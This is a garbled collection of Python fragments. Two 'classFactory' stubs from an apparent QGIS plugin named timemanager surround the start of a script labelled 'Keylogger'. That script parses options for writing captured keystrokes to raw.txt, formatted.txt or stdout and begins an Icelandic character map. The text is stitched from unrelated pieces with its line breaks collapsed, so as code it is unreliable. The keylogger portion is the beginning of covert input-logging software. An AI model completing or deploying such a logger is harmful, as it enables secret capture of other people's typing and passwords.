def classFactory(iface): return timemanager(iface)
parser = argparse.ArgumentParser('Keylogger') parser.add_argument('-r', '--raw', help='Write raw output to raw.txt', action='store_true') parser.add_argument('-f', '--format', help='Write formatted output to formatted.txt', action='store_true') parser.add_argument('-p', '--prnt', help='Write raw output to stdout', action='store_true') args = parser.parse_args() tMan = timemanager() #Klasi sem heldur utan um tíma #Úttaksskrár if args.raw: raw = open('raw.txt', 'a') if args.format: form = open('formatted.txt', 'a') form.write(tMan.getTimeStamp() + ':\n') isl = { #Afkóðar íslenska stafi á linux 'xf0': 'ð', 'xd0': 'Ð', 'xfe': 'þ', 'xde': 'Þ', 'xe6': 'æ', 'xc6': 'Æ', 'xf6': 'ö',
def classFactory(iface): from timemanager import timemanager return timemanager(iface)